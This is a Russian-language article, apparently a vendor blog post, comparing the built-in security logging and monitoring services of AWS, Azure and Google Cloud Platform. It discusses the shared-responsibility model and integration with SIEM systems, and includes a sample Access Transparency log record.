Переход в облака — это всегда поиск баланса между желанием сохранить контроль над инфраструктурой и передачей ее в более профессиональные руки облачного провайдера, который специализируется на ее поддержании. И в области безопасности облачных сред этот баланс тоже необходимо искать. Тем более, что в зависимости от используемой модели предоставления облачных услуг (IaaS, PaaS, SaaS) этот баланс будет все время разным. При любом раскладе надо помнить, что все облачные провайдеры сегодня следуют так называемой модели разделяемой ответственности и разделяемой ИБ. За что-то отвечает облако, за что-то отвечает клиент, разместивший в облаке свои данные, свои приложения, свои виртуальные машины и иные ресурсы. Необдуманно было бы рассчитывать, что уйдя в облако, мы переложим всю ответственность на провайдера. Но и выстраивать всю безопасность самостоятельно при переходе в облако тоже неразумно. Необходим баланс, который будет зависеть от множества факторов: — стратегии управления рисками, модели угроз, имеющихся у облачного провайдера защитных механизмов, законодательства и пр.
Например, классификация данных, размещаемых в облаке, — это всегда ответственность заказчика. Облачный провайдер или внешний поставщик услуг ему может только помочь с инструментарием, который будет помогать маркировать данные в облаке, выявлять нарушения, удалять нарушающие законодательство данные или маскировать их с помощью того или иного метода. С другой стороны физическая безопасность — это всегда ответственность облачного провайдера, которой он не может поделиться с клиентами. А вот все, что находится между данными и физической инфраструктурой — как раз и является предметом обсуждения данной статьи. Например, доступность облака — это ответственность провайдера, а настройки правил МСЭ или включение шифрования — это уже ответственность клиента. В этой статьей мы попробуем посмотреть, какие механизмы мониторинга ИБ предоставляют сегодня различные популярные в России облачные провайдеры, каковы особенности их применения, и когда стоит посмотреть в сторону внешних наложенных решений (например, Cisco E-mail Security), расширяющие возможности вашего облака в части кибербезопасности. В ряде случаев, особенно в случае следования мультиоблачной стратегии, у вас не останется выбора кроме как использовать внешние решения по мониторингу ИБ сразу в нескольких облачных средах (например, Cisco CloudLock или Cisco Stealthwatch Cloud). Ну а в ряде случаев вы поймете, что выбранный вами (или навязанный вам) облачный провайдер не предлагает вообще никаких возможностей по мониторингу ИБ. Это неприятно, но тоже немало, так как позволяет адекватно оценивать уровень риска, связанный с работой с данным облаком.
Жизненный цикл мониторинга безопасности облака
----------------------------------------------
Чтобы мониторить безопасность используемых вами облаков у вас есть всего три возможности:
* полагаться на инструментарий, предоставляемый вашим облачным провайдером,
* воспользоваться решениями третьих фирм, которые будут мониторить используемые вами IaaS, PaaS или SaaS-платформы,
* строить свою собственную инфраструктуру мониторинга облачных сред (только для IaaS/PaaS-платформ).
Давайте посмотрим, какие особенности у каждого из этих вариантов. Но прежде нам необходимо понять общую схему, которая будет использоваться при мониторинге облачных платформ. Я бы выделил 6 основных компонентов процесса мониторинга ИБ в облаке:
* Подготовка инфраструктуры. Определение необходимых приложений и инфраструктуры для сбора событий, важных для ИБ, в хранилище.
* Сбор. На этом этапе события безопасности агрегируются из различных источников для их последующей передачи для обработки, хранения и анализа.
* Обработка. На этом этапе данные преобразуются и обогащаются для облегчения их последующего анализа.
* Хранение. Этот компонент отвечает за краткосрочное и долгосрочное хранение собранных обработанных и “сырых” данных.
* Анализ. На этом этапе вы имеете возможность обнаруживать инциденты и реагировать на них в автоматическом или ручном режиме.
* Отчетность. Этот этап помогает сформировать для заинтересованных сторон (руководства, аудиторов, облачного провайдера, клиентов и т.п.) ключевые показатели, помогающие нам принимать те или иные решения, например, смена провайдера или усиление ИБ.
Понимание этих компонентов позволит вам в дальнейшем оперативно определиться, что вы можете взять у своего провайдера, а что вам придется делать самому или с привлечением внешних консультантов.
Встроенные возможности облачных сервисов
----------------------------------------
Выше я уже написал, что очень многие облачные сервисы сегодня не предоставляют никакой возможности по мониторингу ИБ. Вообще, теме ИБ они уделяют не очень большое внимание. Например, один из популярных рооссийских сервисов по отправке в государственные органы отчетности через Интернет (специально не буду упоминать его имя). Весь раздел про безопасность этого сервиса крутится вокруг применения сертифицированных СКЗИ. Раздел по ИБ другого отечественного облачного сервиса по электронному документообороту не в пример больше. В нем говорится о сертификатах открытых ключей, сертифицированной криптографии, устранении web-уязвимостей, защите от DDoS-атак, применении МСЭ, резервном копировании и даже регулярном проведении аудита ИБ. Но о мониторинге ни слова, как и о возможности получения доступа к событиям ИБ, которые могут быть интересны клиентам этого поставщика услуг.
Вообще, по тому, как облачный провайдер описывает у себя на сайте и в документации вопросы ИБ, можно понять, насколько он вообще серьезно относится к этому вопросу. Например, если почитать руководства на продукты “Мой офис”, то там вообще нет ни слова про безопасность, а в документации на отдельный продукт “Мой офис. КС3”, предназначенный для защиты от несанкционированного доступа, есть обычное перечисление пунктов 17-го приказа ФСТЭК, который выполняет “Мой офис.КС3”, но не описано как выполняет и, самое главное, как интегрировать эти механизмы с корпоративной ИБ. Возможно такая документация и есть, но в публичном доступе, на сайте “Мой офис” я ее не нашел. Хотя может у меня просто доступа нет к этой секретной информации?..
У того же Битрикса ситуация на порядок лучше. В документации описаны форматы журналов событий и, что интересно, журнала вторжений, который содержит события, связанные с потенциальными угрозами для облачной платформы. Оттуда вы можете вытащить IP, имя пользователя или гостя, источник события, время, User Agent, тип события и т.п. Правда, работать с этими событиями вы можете либо из панели управления самим облаком, либо выгрузить данные в формате MS Excel. Автоматизировать работу с логами Битрикс сейчас затруднительно и вам придется часть работы выполнять вручную (выгрузка отчета и загрузка его в ваш SIEM). Но если вспомнить, что еще относительно недавно и такой возможности не было, то это большой прогресс. При этом хочу отметить, что и многие зарубежные облачные провайдеры предлагают схожий функционал “для начинающих” — либо смотри логи глазами через панель управления, либо выгружай данные к себе (правда, большинство выгружают данные в формате .csv, а не Excel).
Если не рассматривать вариант с отсутствием логов, то облачные провайдеры обычно предлагают вам три варианта для мониторинга событий безопасности — панели мониторинга, выгрузка данных и доступ к ним по API. Первое вроде как решает многие проблемы за вас, но это не совсем так, — при наличии нескольких журналов приходится переключаться между отображающими их экранами, теряя общую картину. Кроме того, облачный провайдер врядли предоставит вам возможность корреляции событий безопасности и вообще анализа их с точки зрения безопасности (обычно вы имеете дело с сырыми данными, в которых разбираться вам надо самостоятельно). Исключения есть и о них мы поговорим дальше. Наконец, стоит поинтересоваться, а какие события фиксирует ваш облачный провайдер, в каком формате, и насколько они соответствуют вашему процессу мониторинга ИБ? Например, идентификация и аутентификация пользователей и гостей. Тот же Битрикс позволяет вам по данным событиям зафиксировать дату и время данного события, имя пользователя или гостя (при наличии модуля “Веб-аналитика”), объект, к котором осуществлен доступ и другие типичные для web-сайта элементы. Но корпоративным службам ИБ может потребоваться информация о том, с доверенного ли устройства заходил пользователь в облако (например, в корпоративной сети такую задачу реализует Cisco ISE). А такая простая задача, как функция гео-IP, которая поможет определить не украдена ли учетная запись пользователя облачного сервиса? И даже если облачный провайдер вам ее предоставит, то этого мало. Тот же Cisco CloudLock не просто анализирует геолокацию, а использует для этого машинное обучение и анализирует исторические данные по каждому пользователю и отслеживает различные аномалии в попытках идентификации и аутентификации. Схожий функционал есть только у MS Azure (при наличии соответствующей подписки).
Есть еще одна сложность — так как для многих облачных провайдеров мониторинг ИБ — это новая тема, которой они только-только начинают заниматься, то они постоянно что-то меняют в своих решениях. Сегодня у них одна версия API, завтра другая, послезавтра третья. К этому тоже надо быть готовым. Тоже самое и с функциональностью, которая может меняться, что надо учитывать в своей системе мониторинга ИБ. Например, у Amazon сначала были отдельные сервисы мониторинга событий в облаке — AWS CloudTrail и AWS CloudWatch. Потом появился отдельный сервис мониторинга событий именно ИБ — AWS GuardDuty. Спустя какое-то время Amazon запустил новую систему управления Amazon Security Hub, которая включает в себя анализ данных, получаемых от GuardDuty, Amazon Inspector, Amazon Macie и ряда других. Другой пример, — инструмент интеграции логов Azure с SIEM — AzLog. Им активно пользовались многие вендоры SIEM, пока в 2018-м году Microsoft не объявила о прекращении его развития и поддержки, что поставило многих клиентов, пользовавшихся этим инструментом перед проблемой (как она разрешилась, мы поговорим далее).
Поэтому внимательно отслеживайте все функции по мониторингу, которые предлагает вам ваш облачный провайдер. Или доверьтесь внешним поставщикам решений, которые будут выступать в качестве посредников между вашим SOCом и облаком, которое вы хотите мониторить. Да, это будет дороже (хотя не всегда), но зато вы переложите всю ответственность на чужие плечи. Или не всю?.. Вспомним про концепцию разделяемой безопаности и поймем, что ничего переложить мы не сможем — придется самостоятельно разбираться в том, как разные облачные провайдеры обеспечивают мониторинг ИБ ваших данных, приложений, виртуальных машин и иных ресурсов, размещенных в облаке. И начнем мы с того, что предлагает Amazon в этоой части.
Пример: Мониторинг ИБ в IaaS на базе AWS
----------------------------------------
Да-да, я понимаю, что Amazon — это не самый лучший пример ввиду того, что это сервис американский и его могут блокировать в рамках борьбы с экстремизмом и распространением запрещенной на территории России информацией. Но в данной публикации я бы хотел просто показать, насколько отличаются разные облачные платформы по возможностям мониторинга ИБ и на что стоит обращать внимание при передаче своих ключевых процессов в облака с точки зрения безопасности. Ну а если какие-то из российских разработчиков облачных решений подчерпнут что-нибудь полезное для себя, то это вообще будет отлично.
Сначала надо сказать, что Amazon — это не неприступная крепость. С его клиентами регулярно случаются различные инциденты. Например, у Deep Root Analytics украли имена, адреса, даты рождения, телефоны 198 миллионов избирателей. У израильской компании Nice Systems украли 14 миллионов записей об абонентах Verizon. При этом встроенные возможности AWS позволяют вам обнаруживать широкий спектр инцидентов. Например:
* воздействие на инфраструктуру (DDoS)
* компрометация узла (инжектирование команд)
* компрометация учетной записи и неавторизованный доступ
* неверная конфигурация и уязвимости
* незащищенные интерфейсы и API.
Такое несоответствие связано с тем, что за безопасность данных заказчика, как мы выяснили выше, отвечает сам заказчик. И если он не побеспокоился о включении защитных механизмов и не включил инструменты мониторинга, то об инциденте он узнает только из СМИ или от своих клиентов.
Для выявления инцидентов можно использовать широкий спектр различных сервисов по мониторингу, разработанных Amazon (хотя они часто дополняются внешними инструментами, например, osquery). Так, в AWS отслеживаются все действия пользователей, независимо от того, как они осуществляются — через консоль управления, командную строку, SDK или иные сервисы AWS. Все записи о действиях каждой учетной записи AWS (включая имя пользователя, действие, сервис, параметры активности и ее результат) и использовании API доступны через сервис AWS CloudTrail. Вы можете просматривать эти события (например, вход в консоль AWS IAM) с консоли CloudTrail, анализировать их с помощью Amazon Athena или “отдать” их внешним решениям, например, Splunk, AlienVault и т.п. Сами логи AWS CloudTrail помещаются в вашу корзину AWS S3.
Два других сервиса AWS обеспечивают еще ряд важный возможностей по мониторингу. Во-первых, Amazon CloudWatch — это сервис мониторинга ресурсов и приложений AWS, который позволяет среди прочего выявлять и различные аномалии в вашем облаке. Все встроенные сервисы AWS, такие как Amazon Elastic Compute Cloud (сервера), Amazon Relational Database Service (базы данных), Amazon Elastic MapReduce (анализ данных) и еще 30 других сервисов Amazon, используют Amazon CloudWatch для хранения своих логов. Разработчики могут использовать открытый API от Amazon CloudWatch для добавления функции мониторинга журналов в пользовательские приложения и службы, что позволяет расширить спектр анализируемых событий в контексте ИБ.
Во-вторых, служба VPC Flow Logs позволяет анализировать сетевой трафик, отправляемый или получаемый вашими серверами AWS (снаружи или изнутри), а также между микросервисами. Когда какой-либо из ваших ресурсов AWS VPC взаимодействует с сетью, служба VPC Flow Logs записывает сведения о сетевом трафике, включая сетевой интерфейс источника и назначения, а также IP-адреса, порты, протокол, количество байтов и количество пакетов, которые вы видели. Те, кто имеет опыт работы с локальной сетевой безопасностью, признают это аналогом потоков [NetFlow](https://habr.com/ru/company/cisco/blog/464601/), которые могут создаваться коммутаторами, маршрутизаторами и межсетевыми экранами корпоративного уровня. Эти журналы важны для целей мониторинга ИБ, потому что они в отличие от событий о действиях пользователей и приложений, позволяет не пропускать еще и сетевое взаимодействие в виртуальной частной облачной среде AWS.
Таким образом, эти три службы AWS — AWS CloudTrail, Amazon CloudWatch и VPC Flow Logs — вместе обеспечивают достаточно эффективное представление об использовании вашей учетной записи, поведении пользователей, управлении инфраструктурой, активности приложений и служб, а также сетевой активности. Например, с их помощью можно детектировать следующие аномалии:
* Попытки сканирования сайта, поиска бэкдоров, поиска уязвимостей через всплески “ошибок 404”.
* Injection-атаки (например, SQL injection) через всплески “ошибок 500”.
* Известные инструменты для атак sqlmap, nikto, w3af, nmap и т.п. через анализ поля User Agent.
Amazon Web Services для целей кибербезопасности разработал также и иные сервисы, которые позволяют решать многие иные задачи. Например, в AWS есть встроенный сервис для аудита политик и конфигураций — AWS Config. Этот сервис обеспечивает непрерывный аудит ваших ресурсов AWS и их конфигураций. Рассмотрим простой пример: предположим, что вы хотите убедиться, что пароли пользователей отключены на всех ваших серверах и доступ возможен только на основе сертификатов. AWS Config позволяет легко проверить это для всех ваших серверов. Есть и другие политики, которые могут быть применены к вашим облачным серверам: «Ни один сервер не может использовать порт 22», «Только администраторы могут изменять правила межсетевого экрана» или «Только пользователь Ивашко может создавать новые учетные записи пользователей, и он может делать это только по вторникам». Летом 2016 года сервис AWS Config был расширен для автоматизации обнаружения нарушений разработанных политик. AWS Config Rules — это, по сути, непрерывные запросы конфигурации используемых вами сервисов Amazon, которые генерируют события в случае нарушения соответствующих политик. Например, вместо того, чтобы периодически выполнять запросы AWS Config для проверки того, что все диски виртуального сервера зашифрованы, AWS Config Rules можно использовать для постоянной проверки серверных дисков на предмет выполнения этого условия. И, что самое важное, в контексте данной публикации, любые нарушения генерят события, которые могут быть проанализированы вашей службой ИБ.
Есть в AWS и свои эквиваленты традиционным корпоративным решениям по ИБ, которые также генерят события безопасности, которые вы можете и должны анализировать:
* обнаружение вторжений — AWS GuardDuty
* контроль утечек информации — AWS Macie
* EDR (хотя говорит об оконечных устройствах в облаке немного странновато) — AWS Cloudwatch + решения open source osquery или GRR
* анализ Netflow — AWS Cloudwatch + AWS VPC Flow
* анализ DNS — AWS Cloudwatch + AWS Route53
* AD — AWS Directory Service
* управление учетными записями — AWS IAM
* SSO — AWS SSO
* анализ защищенности — AWS Inspector
* управление конфигурациями — AWS Config
* WAF — AWS WAF.
Я не буду подробно расписывать все сервисы Amazon, которые могут быть полезны в контексте информационной безопасности. Главное, что надо понять, что все они могут генерить события, которые мы можем и должны анализировать в контексте ИБ, привлекая для этого как встроенные возможности самого Amazon, так и внешние решения, например, SIEM, которые могут забирать события безопасности в ваш центр мониторинга и анализировать их там наряду с событиями от других облачных сервисов или от внутренней инфраструктуры, периметра или мобильных устройств.
В любом случае все начинается с источников данных, которые предоставляют вам события ИБ. К таким источникам можно среди прочего отнести:
* CloudTrail — использование API и действия пользователей
* Trusted Advisor — проверка безопасности на соответствие лучшим практикам
* Config — инвентаризация и конфигурация учетных записей и настроек сервисов
* VPC Flow Logs — соединения с виртуальными интерфейсами
* IAM — сервис идентификации и аутентификации
* ELB Access Logs — балансировщика нагрузки
* Inspector — уязвимости в приложениях
* S3 — файловое хранилище
* CloudWatch — активность приложений
* SNS — сервис уведомлений.
Amazon, предлагая такой спектр источников событий и инструментов по их генерации, при этом сильно ограничен в возможностях по анализу собранных данных в контексте ИБ. Вам придется самостоятельно изучать имеющиеся логи, выискивая в них соответствующие индикаторы компрометации. AWS Security Hub, который недавно запустил Amazon, призван решить эту проблему, став этаким облачным SIEM для AWS. Но пока он находится только в начале своего пути и ограничен как числом источников, с которыми он работает, так и иными ограничениями, установленными архитектурой и подписками самого Amazon.
Пример: Мониторинг ИБ в IaaS на базе Azure
------------------------------------------
Не хочу вступать в долгую полемику, какой из трех облачных провайдеров (Amazon, Microsoft или Google) лучше (тем более, что каждый из них имеет все-таки свою определенную специфику и подходит для решения своих задач); сосредоточимся на возможностях по мониторингу ИБ, которые предоставляют эти игроки. Надо признать, что Amazon AWS был одним из первых в этом сегменте и поэтому продвинулся дальше всех в части своих функций по ИБ (хотя многие признают, что пользоваться ими сложновато). Но это не значит, что мы проигнорируем возможности, которые предоставляют нам Microsoft с Google.
Продукция Microsoft всегда отличалась своей “открытостью” и в Azure ситуация аналогичная. Например, если AWS и GCP всегда исходят из концепции “все, что не разрешено, запрещено”, то у Azure подход прямо противоположный. Например, создавая виртуальную сеть в облаке и виртуальную машину в ней, все порты и протоколы по умолчанию открыты и разрешены. Поэтому, вам придется потратить чуть больше усилий по первоначальной настройке системы разграничения доступа в облаке от Microsoft. И это же накладывает на вас более жесткие требования в части мониторинга активности в облаке Azure.
У AWS есть особенность, связанная с тем, что когда вы мониторите свои виртуальные ресурсы, то если они находятся в разных регионах, то у вас появляются трудности в объединении всех событий и их единого анализа, для устранения которых вам надо прибегать к различным ухищрениям, типа создания собственного кода для AWS Lambda, который будет переносить события между регионами. В Azure такой проблемы нет — его механизм Activity Log отслеживает всю активность в рамках всей организации без ограничений. Тоже самое касается и AWS Security Hub, который был недавно разработан Amazon для консолидации многих функций безопасности в рамках единого центра безопасности, но только в рамках своего региона, что, правда, для России неактуально. В Azure присутствует свой Security Center, который не связан региональными ограничениями, предоставляя доступ ко всем функциям безопасности облачной платформы. Более того, для различных локальных команд он может предоставить свой набор защитных возможностей и, в том числе, управляемых ими осбытий безопасности. AWS Security Hub еще только стремится к тому, чтобы стать похожим на Azure Security Center. Но стоит добавить и ложку дегтя — вы можете выжать из Azure очень многое из того, что было описано ранее в AWS, но наиболее удобно это делается только для Azure AD, Azure Monitor и Azure Security Center. Все остальные защитные механизмы Azure, включая и анализ событий безопасности, управляются пока не самым удобным образом. Отчасти проблему решает API, который пронизывает все сервисы Microsoft Azure, но это потребует от вас дополнительных усилий по интеграции вашего облака с вашим SOC и наличия квалифицированных специалистов (собственно, как и с любым другим. SIEM, работающим с облачными API). Некоторые SIEM, о чем речь пойдет дальше, уже поддерживают Azure и могут автоматизировать задачу его мониторинга, но и с ним есть свои сложности — не все они могут забирать все логи, которые есть у Azure.
Сбор событий и их мониторинг в Azure предоставляется с помощью сервиса Azure Monitor, который является основным инструментом сбора, хранения и анализа данных в облаке Microsoft и его ресурсах — репозитории Git, контейнерах, виртуальных машинах, приложениях и т.п. Все данные, собираемаые Azure Monitor делятся на две категории — метрики, собираемые в реальном времени и описывающие ключевые показатели деятельности облака Azure, и журналы регистрации, содержащие данные, организованные в записи, характеризующие те или иные аспекты деятельности ресурсов и сервисов Azure. Кроме того, с помощью Data Collector API сервис Azure Monitor может собирать данные с любого REST-источника для выстраивания собственных сценариев мониторинга.
Вот несколько источников событий безопасности, которые предлагает вам Azure и к которым вы можете получить доступ через Azure Portal, CLI, PowerShell или REST API (а некоторые только через Azure Monitor / Insight API):
* Activity Logs — данный журнал отвечает на классические вопросы “кто”, “что” и “когда” в отношении любой операции записи (PUT, POST, DELETE) над облачными ресурсами. События, связанные с доступом на чтение (GET) в этот журнал не попадают, как и ряд других.
* Diagnostic Logs — содержит данные по операциям с тем или иным ресурсом, входящим в вашу подписку.
* Azure AD reporting — содержит как пользовательскую активность, так и системную активность, связанную с управлением группами и пользователями.
* Windows Event Log и Linux Syslog — содержит события с виртуальных машин, размещаемых в облаке.
* Metrics — содержит телеметрию о состоянии производительности и “здоровья” ваших облачных сервисов и ресурсов. Измеряются ежеминутно и хранятся. в течение 30 дней.
* Network Security Group Flow Logs — содержит данные по сетевым событиям безопасности, собираемые с помощью сервиса Network Watcher и мониторинга ресурсов на уровне сети.
* Storage Logs — содержит события, связанные с доступом к хранилищам.
Для мониторинга вы можете использовать внешние SIEM или встроенный Azure Monitor и его расширения. Про системы управления событиями ИБ мы еще поговорим, а пока посмотрим, что нам предлагает сам Azure для анализа данных в контексте безопасности. Основным экраном для всего, что связано с безопасностью в Azure Monitor, является Log Analytics Security and Audit Dashboard (бесплатная версия поддерживает хранение ограниченного объема событий всего одну неделю). Эта панель поделена на 5 основных областей, визуализирующих сводную статистику по тому, что происходит в используемой вами облачной среде:
* Security Domains — ключевые количественные показатели, связанные с ИБ — число инцидентов, число скомпрометированных узлов, непропатченные узлы, события сетевой безопасности и т.п.
* Notable Issues — отображает число и важность активных проблем с ИБ
* Detections — отображает шаблоны, использованных против вас атак
* Threat Intelligence — отображает географическую информацию по внешним узлам, которые вас атакуют
* Common security queries — типичные запросы, которые помогут вам лучше мониторить вашу ИБ.
В качестве расширений Azure Monitor можно назвать Azure Key Vault (защита криптографических ключей в облаке), Malware Assessment (анализ защиты от вредоносного кода на виртуальных машинах), Azure Application Gateway Analytics (анализ, среди прочего, логов облачного межсетевого экрана) и т.п. Эти инструменты, обогащенные определенными правилами обработки событий, позволяют визуализировать различные аспекты деятельности облачных сервисов, в том числе и безопасности, и выявлять те или иные отклонения от работы. Но, как это часто бывает, любой дополнительный функционал требует соответствующей платной подписки, что потребует от вас соответствующих финансовых вливаний, которые вам надо планировать заранее.
У Azure есть ряд встроенных возможностей по мониторингу угроз, которые интегрированы в Azure AD, Azure Monitor и Azure Security Center. Среди них, например, обнаружение взаимодействия виртуальных машин с известными вредоносными IP (за счет наличия интеграции с сервисами Threat Intelligence от Microsoft), обнаружение вредоносных программ в облачной инфраструктуре за счет получения сигналов тревоги от виртуальных машин, размещенных в облаке, атаки типа “подбор пароля” на виртуальные машины, уязвимости в конфигурации системы идентификации пользователей, вход в систему с анонимайзеров или зараженных узлов, утечка учетных записей, вход в систему с непривычных местоположений и т.п. Azure сегодня — один из немногих облачных провайдеров, кто предлагает вам встроенные возможности Threat Intelligence для обогащения собранных событий ИБ.
Как уже было сказано выше, защитный функционал и, как следствием, генерируемые им события безопасности, доступен не всем пользователям одинаково, а требует наличия определенной подписки, включающей нужный вам функционал, который и генерит соответствующие события для мониторинга ИБ. Например, часть описанных в предыдущем абзаце функций по мониторингу аномалий в учетных записях доступна только в премиум лицензии P2 для сервиса Azure AD. Без нее вам, как и в случае AWS, придется анализировать собранные события безопасности «вручную». И, также, в зависимости от типа лицензии на Azure AD вам будет доступны не все события для анализа.
На портале Azure вы можете управлять как поисковыми запросами к интересующим вас журналам регистрации, так и настраивать дашборды для визуализации ключевых показателей ИБ. Кроме того, там же вы можете выбирать расширения Azure Monitor, которые позволяют вам расширить функциональность логов Azure Monitor и получить более глубокий анализ событий с точки зрения безопасности.
Если вам нужна не только возможность работы с логами, но всесторонний центр безопасности вашей облачной платформы Azure, включая управление политиками ИБ, то можно говорить о необходимости работы с Azure Security Center, большинство полезных функций которого доступно за отдельные деньги, например, обнаружение угроз, мониторинг вне Azure, оценка соответствия и т.п. (в бесплатной версии вам доступна только оценка безопасности и рекомендации по устранению выявленных проблем). Он консолидирует все вопросы безопасности в одном месте. По сути можно говорить о более высоком уровне ИБ, чем вам предоставляет Azure Monitor, так как в данном случае собранные по всей вашей облачной фабрике данные обогащаются с помощью множества источников, таких как Azure, Office 365, Microsoft CRM online, Microsoft Dynamics AX, outlook.com, MSN.com, Microsoft Digital Crimes Unit (DCU) и Microsoft Security Response Center (MSRC), на которые накладываются различные навороченные алгоритмы машинного обучения и поведенческой аналитики, что в итоге должно повысить эффективность обнаружения угроз и реагирования на них.
Есть у Azure и свой SIEM — он появился в начале 2019-года. Это Azure Sentinel, который опирается на данные от Azure Monitor, а также может интегрироваться с. внешними решениями по безопасности (например, NGFW или WAF), список которых постоянно пополняется. Помимо этого, за счет интеграции Microsoft Graph Security API у вас появляется возможность подключать к Sentinel собственные фиды Threat Intelligence, что обогащает возможности по анализу инцидентов в вашем облаке Azure. Можно утверждать, что Azure Sentinel является первым «родным» SIEM, который появился у облачных провайдеров (тот же Splunk или ELK, которые можно разместить в облаке, например, AWS, все-таки разработаны не поставщиками традиционных облачных услуг). Azure Sentinel и Security Center можно было бы назвать SOCом для облака Azure и ими можно было бы и ограничиться (с определенными оговорками), если бы у вас больше не было никакой инфраструктуры и вы все свои вычислительные ресурсы перенесли в облако и это было бы облако Microsoft Azure.
Но так как встроенных возможностей Azure (даже при наличии подписки на Sentinel) часто не хватает для целей мониторинга ИБ и интеграции этого процесса с иными источниками событий безопасности (как облачными, так и внутренними), возникает необходимость в экспорте собранных данных во внешние системы, к числу которых может относиться и SIEM. Делается это как с помощью API, так и с помощью специальных расширений, которые официально имеются в данный момент только у следующих SIEM — Splunk (Azure Monitor Add-On for Splunk), IBM QRadar (Microsoft Azure DSM), SumoLogic, ArcSight и ELK. Еще недавно, таких SIEM было больше, но с 1-го июня 2019 года Microsoft прекратил поддержку Azure Log Integration Tool (AzLog), который на заре существования Azure и при отсутствии нормальной стандартизации работы с логами (Azure Monitor еще даже не существовало) позволял легко интегрировать внешние SIEM с облаком Microsoft. Сейчас ситуация поменялась и Microsoft рекомендует платформу Azure Event Hub, как основной инструмент интеграции для остальных SIEM. Многие уже осуществили такую интеграцию, но будьте внимательны, — они могут захватывать не все логи Azure, а лишь некоторые (смотрите в документации на вашу SIEM).
Завершая краткий экскурс в Azure, хочу дать общую рекомендацию по этому облачному сервису, — прежде чем что-то утверждать относительно функций мониторинга ИБ в Azure стоит их настроить очень внимательно и протестировать, что они работают так, как написано в документации и как вам рассказали консультанты Microsoft (а у них могут быть разные взгляды на работоспособность функций Azure). При наличии финансовых возможностей из Azure можно выжать очень много полезного в части мониторинга ИБ. Если же ваши ресурсы ограничены, то как и в случае AWS, вам придется рассчитывать только на собственные силы и сырые данные, которые вам предоставляет Azure Monitor. И помните, что многие функции мониторинга стоят денег и с ценовой политикой лучше ознакомиться заранее. Например, бесплатно вы можете хранить данные за 31 день объемом не более 5 Гб на заказчика — превышение этих значений потребует от вас дополнительно раскошелиться (примерно 2+ доллара за хранение каждого дополнительного Гб от заказчика и 0,1 доллара за хранение 1 Гб каждый дополнительный месяц). Работа с телеметрией приложений и метриками также может потребовать дополнительных финансовых средств, как и работа с алертами и уведомлениями (бесплатно доступен определенный лимит, которого может и не хватить для ваших нужд).
Пример: Мониторинг ИБ в IaaS на базе Google Cloud Platform
----------------------------------------------------------
Google Cloud Platform на фоне AWS и Azure выглядит совсем юнцом, но это отчасти и хорошо. В отличие от AWS, который наращивал свои возможности, в том числе и защитные, постепенно, имея проблемы с централизацией; GCP, как и Azure, гораздо лучше управляется централизовано, что снижает число ошибок и время внедрения на предприятии. С точки зрения безопасности, GCP находится, как ни странно, между AWS и Azure. У него также единая для всей организации регистрация событий, но она неполна. Некоторые функции до сих еще в бета-режиме, но постепенно этот недостаток должен быть устранен и GCP станет более зрелой платформой с точки зрения мониторинга ИБ.
Основным инструментом для регистрации событий в GCP является Stackdriver Logging (аналог Azure Monitor), который позволяет вам собирать события по всей вашей облачной инфраструктуре (а также с AWS). С точки зрения безопасности в GCP каждая организация, проект или папка имеет четыре журнала регистрации:
* Admin Activity — содержит все события, связанные с административным доступом, например, создание виртуальной машины, изменение прав доступа и т.п. Этот журнал пишется всегда, независимо от вашего желания и хранит свои данные в течение 400 дней.
* Data Access — содержит все события, связанные с работой с данными облачными пользователями (создание, изменение, чтение и т.п.). По умолчанию этот журнал не пишется, так как его объем очень быстро распухает. По этой причине срок его хранения составляет всего 30 дней. Кроме того, в этот журнал пишется далеко не все. Например, в него не пишутся события, связанные с публично доступными для всех пользователей ресурсами или которые доступны без входа в GCP.
* System Event — содержит системные события, несвязанные с пользователями, или действия администратора, который изменяет конфигурацию облачных ресурсов. Пишется всегда и хранится в течение 400 дней.
* Access Transparency — это уникальный пример журнала регистрации, который фиксирует все действия сотрудников Google (но пока не для всех сервисов GCP), которые получают доступ к вашей инфраструктуре в рамках выполнения своих служебных обязанностей. Данный журнал хранится 400 дней и доступен не каждому клиенту GCP, а только при соблюдении ряда условий (либо поддержка уровня Gold или Platinum, либо наличие 4-х ролей определенного типа в рамках корпоративной поддержки). Аналогичная функция есть также, например, в Office 365 — Lockbox.
Пример журнала: Access Transparency
```
{
insertId: "abcdefg12345"
jsonPayload: {
@type: "type.googleapis.com/google.cloud.audit.TransparencyLog"
location: {
principalOfficeCountry: "US"
principalEmployingEntity: "Google LLC"
principalPhysicalLocationCountry: "CA"
}
product: [
0: "Cloud Storage"
]
reason: [
detail: "Case number: bar123"
type: "CUSTOMER_INITIATED_SUPPORT"
]
accesses: [
0: {
methodName: "GoogleInternal.Read"
resourceName: "//googleapis.com/storage/buckets/[BUCKET_NAME]/objects/foo123"
}
]
}
logName: "projects/[PROJECT_NAME]/logs/cloudaudit.googleapis.com%2Faccess_transparency"
operation: {
id: "12345xyz"
}
receiveTimestamp: "2017-12-18T16:06:37.400577736Z"
resource: {
labels: {
project_id: "1234567890"
}
type: "project"
}
severity: "NOTICE"
timestamp: "2017-12-18T16:06:24.660001Z"
}
```
Доступ к указанным логам возможен несколькими путями (примерно также как и ранее рассмотренных Azure и AWS) — через интерфейс Log Viewer, через API, через Google Cloud SDK или через страницу Activity вашего проекта, по которому вас интересуют события. Таким же образом их можно и экспортировать во внешние решения для дополнительного анализа. Последнее делается через экспорт логов в хранилище BigQuery или Cloud Pub/Sub.
Помимо Stackdriver Logging платформа GCP предлагает еще функционал Stackdriver Monitoring, который позволяет отслеживать ключевые метрики (производительность, наработка на отказ, общее состояние и т.п.) облачных сервисов и приложений. Обработанные специальным образом и визуализированные данные могут облегчить поиск проблем в вашей облачной инфраструктуре, в том числе и в контексте безопасности. Но надо отметить, что функционал этот будет не очень богат именно в контексте ИБ, так как на сегодняшний день GCP не имеет аналога того же AWS GuardDuty и не может выделять среди всех регистрируемых событий именно плохие (Google разработал Event Threat Detection, но пока он находится в бете и говорить о его полезности рановато). Stackdriver Monitoring можно было бы задействовать как систему обнаружения аномалий, которые затем будут расследоваться для поиска причин их возникновения. Но в условиях нехватки на рынке квалифицированного в области ИБ GCP персонала, это задача на данный момент выглядит непростой.
Также стоит привести список некоторых модулей по ИБ, которые могут быть применены в рамках вашего облака GCP, и которые схожи с тем, что предлагает AWS:
* Cloud Security Command Center — это аналог AWS Security Hub и Azure Security Center.
* Cloud DLP — автоматическое обнаружение и редактирование (например, маскирование) данных, размещенных в облаке, по более чем 90 предустановленным политикам классификации.
* Cloud Scanner — сканер известных уязвимостей (XSS, Flash Injection, непатченные библиотеки и т.п.) в App Engine, Compute Engine и Google Kubernetes.
* Cloud IAM — управление доступом ко всем ресурсам GCP.
* Cloud Identity — управление учетными записями пользователей, устройств и приложений GCP с единой консоли.
